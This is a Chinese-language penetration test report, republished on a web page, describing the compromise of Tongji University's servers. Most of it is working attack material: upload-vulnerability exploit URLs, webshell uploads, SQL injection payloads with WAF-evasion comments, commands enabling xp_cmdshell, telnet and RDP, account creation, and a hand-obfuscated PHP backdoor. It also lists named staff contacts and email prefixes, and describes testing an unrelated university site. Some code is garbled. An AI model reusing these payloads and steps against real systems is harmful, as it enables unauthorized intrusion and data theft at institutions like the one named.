同济大学渗透测试报告讲解

同济大学渗透测试报告讲解

2023年7月22日发(作者:)

同济大学渗透测试报告

评估人: Zvall

--------------------------------------------------------------------------------------------------------------------

目标:同济大学 域名:

1.信息收集

收集 网站 子站 信息 为后续渗透做好铺垫

1.1 获取IP: 使用Ping得到IP 202.120.189.3 address:上海 Ping 返回 Request timed out

排除有防火墙 WAF等包过滤的可能

1.2 Whois 查询得到:

网段: 202.120.176.0 - 202.120.191.255

管理员联系:

Cui , Zijun (ZC3-CN)

+86-21-6598-9006

技术人员联系:

Wang , Zhengping (ZW2-CN)

+86 21 65025080 ext. 2840

最后更新记录在 19970627

记录于 19970627

202.120.191.30

202.120.191.208

Mail:收集 222.66.109.6

Mail服务器: 采用是的:网易Coremail Java 写的

用xml的格式进行数据传递 利用xml解析漏洞 可能读取任意文件

邮箱收集:

碰过很多用邮箱前辍做密码的.

qiche@

antli8899@

yangdyk@

xjzeng@

tousu@

rsc@

dxwg@

100759@

xinxihua@

3d@

wulirui@

xxgk@

helpdesk@

liushuyan@

gbt@

092783@

子域:

分布这个网段:202.120.189.3-202.120.189.255

C段全部是WEB应用

同服网站:

扫描

nmap -sS -sV -P0 -T4 -O -A -F -sC --version-light -v

80/tcp open http nginx 1.0.8 |_http-methods: No Allow or Public header in OPTIONS response (status code 405)

|_http-title: xE6xACxA2xE8xBFx8ExE8xAExBFxE9x97xAExE5x90x8CxE6x

B5x8ExE5xA4xA7xE5xADxA6xE4xB8xBBxE9xA1xB5

nix 只对外开放一个80 估计是Iptables策略

信息收集的差不多这后 由于主站只开放一个WEB应用

只好转战WEB上来:

1.3 Web服务评估:

1. 查找指纹

提交一个HEAD 返回:

Request sent. 238 bytes

< HTTP/1.1 200 OK

< Server: nginx/1.0.8

< Date: Fri, 10 Aug 2012 09:53:41 GMT

< Content-Type: text/html

< Connection: keep-alive

< Vary: Accept-Encoding

<

200 Request complete

用的nginx 存在一个解析漏洞

/images/logo_/ jpg文件会当php代码执行

测试不存在

本以为主站服务器是Linux

当提交site: inurl:asp|php|jsp||aspx

发现居然是asp 看来服务器是Windows了

应用评估

首先使用Wet工具对镜点进行镜像

WGET -r -a ‘*.html,*htm’ 只包含html文件 因为方便查找HIDDEN字段

用findstr 找并没有找到HIDDEN字段

在SC目录下找到一个asp的网站 测试了也没存在漏洞 还调用了防注入程序

过滤GET POST COOKIE 提交过来的数据 主站无果 旁站也没有可拿到shell的漏洞

现在只好渗透分站了

Ip::202.120.189.3 此站服务器上只有一个站点 初步估计权限会很大 好提权 好吧 就它了

先测试注入

提交单引号:/clwww/?id=65’

居然玩跳转:

爆露了所用WEB程序为:W78cms

如果直接跳转不用 结束程序的话 我们仍可以注入

W78CMS存在一个上传漏洞:

分析下源码:

Sub InitUpload()

sType = UCase(Trim(tring("type")))

sStyleName = Trim(tring("style"))

sCusDir = Trim(tring("cusdir"))

sParamSYFlag = Trim(tring("syflag"))

sCusDir = Replace(sCusDir, "", "/")

If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir,

"./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then

sCusDir = ""

'这里程序员只考虑到了跨目录的问题

End If

Dim i, aStyleConfig, bValidStyle

bValidStyle = False

For i = 1 To Ubound(aStyle)

aStyleConfig = Split(aStyle(i), "|||")

If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then

bValidStyle = True

Exit For

End If

Next

If bValidStyle = False Then

OutScript("Error('style')")

End If

sBaseUrl = aStyleConfig(19)

nUploadObject = Clng(aStyleConfig(20))

nAutoDir = CLng(aStyleConfig(21))

sUploadDir = aStyleConfig(3)

If sBaseUrl<>"3" Then

If Left(sUploadDir, 1) <> "/" Then

sUploadDir = "../" & sUploadDir

End If

End If

Select Case sBaseUrl

Case "0", "3"

sContentPath = aStyleConfig(23)

Case "1"

sContentPath = RelativePath2RootPath(sUploadDir)

Case "2"

sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))

End Select

If sBaseUrl<>"3" Then

sUploadDir = h(sUploadDir) ‘这里创建目录

End If

If Right(sUploadDir,1)<>"" Then

sUploadDir = sUploadDir & ""

End If

很明显 程序员只考虑到跨目录的漏洞 没有过滤点号 最后创目录 结合IIS解析漏洞 导致漏洞形成

漏洞修复方法:sCusDir = Replace(sCusDir, ".", "")

漏洞利用:

/clwww/admin/w78eWebEditor/asp/?action=save&type=image&style=popup&cusdir=

这时程序会在uploadfile 目下创建一个名为的文件夹

action="/clwww/admin/w78eWebEditor/asp/?action=save&type=image&style=popup&cusdir=" method=post name=myform

enctype="multipart/form-data">

上传WEB后门发现服务器已被攻陷 有administrator组admin$帐号一枚

并且发现服务器支持JSP 默认是SYSTEM权限

ipconfig /all后发现服务器有4张网卡 其中一张是VirtualBox虚拟网卡

搞这么多张网卡?

我在想为什么网络管理员不搞个交换机堆叠级联 服务器在做单网卡多IP的方式

这样就可以实现单网卡多IP了一下省几张网卡

初步确定是做了VLAN 而且可以相互通信

其实多IP的话 一张网即可搞定

多网段意味着渗透的空间更大

执行net user Administrator命令后发现:管理员的最后登录时间为2012-8-14 7:00

看来服务器管理员经常来服务器 在查看了下administrator的桌面发现个bat

内容为:

ipconfig /release

ipconfig /renew

可以看出服务器的某张网卡采取的是dhcp方式

初步猜测管理员可能不是小白 所以类似进服务器桌面操作看起来有点不可取

但又没办法只好挂上一个VPN加一个跳板 再添加管理帐号

再用 转发端口

网络连接信息:

执行ipconfig /all:后发现有如下网段

网段1: 10.10.203.*

网段2: 192.168.0.*

网段3: 169.254.* DHCP

首先渗透 网段2:

先破系统hash为:gisgp** 由于服务器上装了chrome浏览器所以读读密码吧

例如上网上时表单的密码。不过运气并没有眷故我 没有读出密码

在读其实WEB程序配置文件时发现本机的MSSQL存在一个弱口令 sa/password

由于没有将1433映射到公网所以降低了被渗透的风险

网卡2:ip为 192.168.0.11

在枚举时发现192.168.0.12与192.168.0.11的Ntpass密码一样 果断连接ipc$

又现sql 弱口令一枚 看来这个管理员安全意低

同时网段1 ip 为:

10.10.203.70 OS:windows xp 存在NT弱口令

1. 管理的系统密码通用

2. 同时管理的两台WEB应用服务器 MSSQL 都存在弱口令

假设1433映射到公网只怕早成了肉鸡场了

到了这步 首先利用WMI 给服务器开telnet

服务器是ip: 192.168.0.12 OS:windows 2000

再telnet里 添加帐号 net user Zvall Zvall/add& net localgroup administrators Zvall /add

由于服务器3389没有打开 加之是windows 2000 网上的那些开3389的脚本都要重启

这里我想了一个不用重启的方法出来了 脚本如下:

echo [Components] > c:Zvall

echo TSEnable = on >> c:Zvall

sysocmgr /i:c: /u:c:Zvall /q

执行以上脚本后无需重启即开3389 成功

哎 只有两三台服务器出搞了个domain

由于此段只有,几个IP 只好换网段再渗透:

现在目标定在:192.168.0.250.* 这个段上

信息收集:

收集内网中存活的IP:

Nmap -sP /24

在使用SuperScanner 扫C段常见的应用:

在观察端口时发现 192.168.250.3 服务器上的WEB应用程序属于开源程序BBS程序KBS

KBS bbs 是由C语言+php编写而成 于是下了源码看了看

C代码 源码分析:

PHP_FUNCTION(bbs_upload_add_file)

{

char *filename, *ofilename;

int flen, oflen, ret;

if (zend_parse_parameters(2 TSRMLS_CC, "ss/", &filename, &flen, &ofilename, &oflen) ==

FAILURE) {

WRONG_PARAM_COUNT;

}

if (!flen || !oflen) {

RETURN_ERROR(GENERAL);

}

ret = upload_add_file(filename, ofilename, getSession());

switch (ret) {

case -1:

RETURN_ERROR(GENERAL);

break;

case -2:

RETURN_ERROR(ATTACH_CLIMIT);

break;

case -3:

RETURN_ERROR(ATTACH_INVALIDNAME);

break;

case -4:

RETURN_ERROR(ATTACH_DUPNAME);

break;

case -5:

RETURN_ERROR(GENERAL);

break;

case -6:

RETURN_ERROR(ATTACH_SLIMIT);

break;

default:

RETURN_LONG(0);

break;

}

}

upload_add_file:

int upload_add_file(const char *filename, char *original_filename, session_t *session)

{

int ret = upload_add_file_helper(filename, original_filename, session);

if (ret) unlink(filename);

return(ret);

}

upload_add_file_helper:

static int upload_add_file_helper(const char *filename, char *original_filename, session_t *session)

{

struct ea_attach_info ai[MAXATTACHMENTCOUNT];

char attachdir[MAXPATH], attachfile[MAXPATH];

FILE *fp;

char buf[256];

int i, n, len;

int totalsize=0;

char *pos1, *pos2;

struct stat stat_buf;

n = upload_read_fileinfo(ai, session);

if (n >= MAXATTACHMENTCOUNT)

return -2;

pos1 = strrchr(original_filename, '');

pos2 = strrchr(original_filename, '/');

if (pos1 && pos2) {

if (pos1 < pos2) pos1 = pos2;

original_filename = pos1 + 1;

} else {

pos1 = pos1 ? pos1 : pos2;

if (pos1) original_filename = pos1 + 1;

}

len = strlen(original_filename);

if (!len)

return -3;

if (len > 60) {

original_filename += (len-60);

if (original_filename[-1] & 0x80) {

original_filename++; }

}

filter_upload_filename(original_filename); //过滤跨站字符

for (i=0;i

if (strcmp(ai[i].name, original_filename) == 0) return -4;

totalsize+=ai[i].size;

}

if (stat(filename, &stat_buf) != -1 && S_ISREG(stat__mode)) {

totalsize += stat__size;

} else {

return -5;

}

if (!HAS_PERM(session->currentuser, PERM_SYSOP)

MAXATTACHMENTSIZE) return -6;

getattachtmppath(attachdir, MAXPATH, session);

mkdir(attachdir, 0700);

snprintf(attachfile, MAXPATH, "%s/%d_%d", attachdir,

rand()%10000);

f_mv(filename, attachfile);

snprintf(buf, sizeof(buf), "%s %sn", attachfile, original_filename);

snprintf(attachfile, MAXPATH, "%s/.index", attachdir);

if ((fp = fopen(attachfile, "a")) == NULL)

return -1;

fprintf(fp, "%s", buf);

fclose(fp);

return(0);

}

整个过程都没有检测上传文件类型,只过滤了一些跨站字符

首先在BBS上注册一个帐号

上传地址为: /?act=add

print `ls -la`;

?>

上传这个文件后突然发现访问不了网站了?

&& totalsize >

(int)(time(NULL)%10000),

据以往渗透的经验来看 初步估计192.168.250.* 这个网段有一台WAF

明显是检测 关键字 ,大概过了5分钟 左右 发现可以访问了

又上传一个传的文件 ,此时WAF又中断了访问

看来是WAF检测了后辍名了。 再上传一个txt 返回正常

为了证明此漏洞的存在,我在网上找了个大学BBS站测试了一下:

成功上传php后门。

漏洞修复方法:使用白名单方式过滤filename ,把 Filepath定义成常量

到了这步只好继续看SuperScanner扫出的结果:

APPWEB 这不是嵌入式设备才有的么?

于是访问 192.168.250.254

果然是高级货Juniper SRX3600 大学有钱呀

呵呵 难怪搞这个这么昂贵的设备呀 因为此网段全是WEB应用

现在只好继续查找其它WEB应用:

IP:192.168.250.13

用的程序存在 SA 权限 注点一个 数据库为: Mssql2008

提交:

/WebSite1/Public/?lastestnewsid=638+and+user>0

返回:

“/WebSite1”应用程序中的服务器错误。

在将 nvarchar

值 'dbo'

转换成数据类型 int

时失败。

/WebSite1/Public/?lastestnewsid=638+and+(select+IS_SRVROLEMEMBER('sysadmin'))=1--

返回正常 当前是SA 由于mssql2008默认没有开启xp_cmdshell 所以还得开启它才执行命令

可以用如下语句开启:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

'xp_cmdshell', 1;RECONFIGURE;

再利用Pangolin执行命令

再直接来开3389 加管理员

执行REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v

fDenyTSConnections /t REG_DWORD /d 00000000 /f

执行完后 发现3389端口并没有打开

执行shutdown -r -t 0 返回: 计算机已经锁定而且不使用强制选项无法关机。(1271)

那就只有把管理员注销掉

执行query user 返回

枚举会话名时的错误 0x000006A6

错误[1702]:绑定句柄无效

哎 由于不知道管理员的会话ID 所以无法去注销了

现在只好开启telnet服务了

sc config tlntsvr start= auto

net start telnet

再加管理员

此时:192.168.250.13被成功攻陷

WEB程序漏洞修复方法:

程序 注入防护:

对用户传入的值进行强制类型转换

使用正则表达式验证控件对用户传入的值进行长度进行限制

对SQL语句使用命令参数方式

最后的渗透 --突破WAF

在继续查找此网段的WEB应用漏洞时

发现 这个站php写的

存在一个字符型mysql注入点

提交一个单引号后爆出绝对路径

后来发现不能用order by 语句

分析下SQL语句:

SELECT * FROM (`tongji_page_info`) WHERE `id` = '111'

order by 1 and ''='' ORDER BY `id` DESC

有两个 order by

现在只好依次提交:

//page/pagedetail?id=111'/*--*/union+select/*--*/null,null,null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='

返回正常

提交:

//page/pagedetail?id=111'/*--*/union/*--*/select/*--*/null,user(),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='

返回:tongjicase@localhost

Mysql版本为:5.0.19-nt

测试读文件权限:

提交:

//page/pagedetail?id=1'/*--*/union/*--*/all/*--*/select/*--*/null,concat(0x7e,0x27,load_file(0x433A5C626F6F742E696E69),0x27,0x7e),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='

成功返回文件

Into outfile Shell 发现失败

之前扫WEB目录时发现有phpmyadmin程序

在提交:

//page/pagedetail?id=1111'/*--*/union/*--*/all/*--*/select/*--*/NULL,(select+concat(0x7e,0x27,unhex(Hex(cast(user+as+char))),0x3a,unhex(Hex(cast(password/*--*/as/*--*/char))),0x3a,unhex(Hex(cast(host/*--*/as/*--*/char))),0x27,0x7e)/*--*/from/*--*//*--*/limit/*--*/1,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/*--*/and/*--*/''='

成功读出mysql root密码 破出其mysql HASH后 登录phpmyadmin

再执行;

create table tmp(cmd TEXT);

insert into tmp values('');select * from

tmp into outfile 'E:'; drop table tmp;

在本地上传文件时 WAF 毫不留情的中断了俺的访问

再执行;

create table tmp(cmd TEXT);

insert into tmp values('');select * from tmp into

'E:'; drop table tmp;

放在菜刀里执行后 WAF 再次中断了我的访问

在市面上找了一些免杀的一句话 后还是过不了WAF这关呀

于是自己动手写了个小后门:

$gt = '_'.'G'.'E'.'T';

$bar(${$gt}['cmd']);?>

reate table tmp(cmd TEXT);

insert into tmp values('

');select * from tmp into outfile 'E:'; drop table tmp;

访问:/?cmd=whoami

nt authoritysystem

SYSTEM权限

在执行/?cmd=dir时发现了一个意思的东东

outfile

之前就有跟 Joe 大神聊天的时候谈过此人 我果断把txt 改了

漏洞成因分析:

导致服务器攻陷的原因终根结底还是WEB应用程序漏洞所致

下面是漏洞程序分析:

类似这样的URL:

//page/pagedetail?id=111

都是基于路由模式

调用中的pagedetail方法:

function __construct(){

parent::__construct();

$this->load->helper('url');

$this->load->model('Page_Info_Model');

$this->load->helper('UtilClass');

}

public function pagedetail(){

$id = Util::getPar('id');

$where = "`id` = '".$id."'";

$info = $this->Page_Info_Model->getInfo($where);

//顶级页面 顶级下所有页面

$topinfo = $this->Page_Info_Model->getTopInfo($id);

$infos = $this->Page_Info_Model->getChilds($topinfo['id']);

$result = array();

$result['info'] = $info;

$result['topinfo'] = $topinfo;

$result['infos'] = $infos;

$this->load->view('pagedetail', $result);

}

Util类Getpar 方法:

class Util{

public static function getPar($name){

if(!empty($_GET[$name])){

return $_GET[$name];

}elseif(!empty($_POST[$name])){

return $_POST[$name]; }elseif(!empty($_SESSION[$name])){

return $_SESSION[$name];

}elseif(!empty($_COOKIE[$name])){

return $_COOKIE[$name];

}else{

return null;

}

}

直接去获取用户传过来的值无任何过滤

漏洞修复方法:

程序修复:

$id = (int)Util::getPar('id');

2.服务端设置建议

Phpmyadmin 不要放在WEB 根目录 将其改名

给apache mysql 降权 以低权限运行

给WEB 设置访问权限 禁用一个危险函数如:_exec

3389端口映射到公网时。把端口改掉

1.总结

总结下各网段网络管理员的管理范畴中的不善:

网段1 :192.168.250.*

配置不当

2. WEB 应用程序漏洞

网段2: 10.10.203.*

1.无软防与硬防

2.口令存取机制

应程序漏洞

网段3:192.168.0.*

1.无软防 与硬防

2.口令存取机制 通用密码

应用程序漏洞

安全建议:

1.设备安全

1.不同VLAN之间最好隔离. 即使攻击者 攻陷网段1 也无法访问网段2

2.交换机堆叠级联的问题. 如果有两个网关 那么攻击者就可以 以单网卡多IP的方式

渗透其它网段

2.口令存取机制

建议设置强壮的密码, 不要使用QQ 生日 论坛 的帐号 密码做服务器密码

不要使用通用密码

3.软件 系统

定时更新系统补丁 以防 0day 提权漏洞

权限设置

应用防护

由于WEB 应用多. 建议重新部署WAF的检测机制

EOF

---------------------------------------------------------------------------------------------------------------------------

发布者:admin,转转请注明出处:http://www.yc00.com/web/1690000951a299289.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信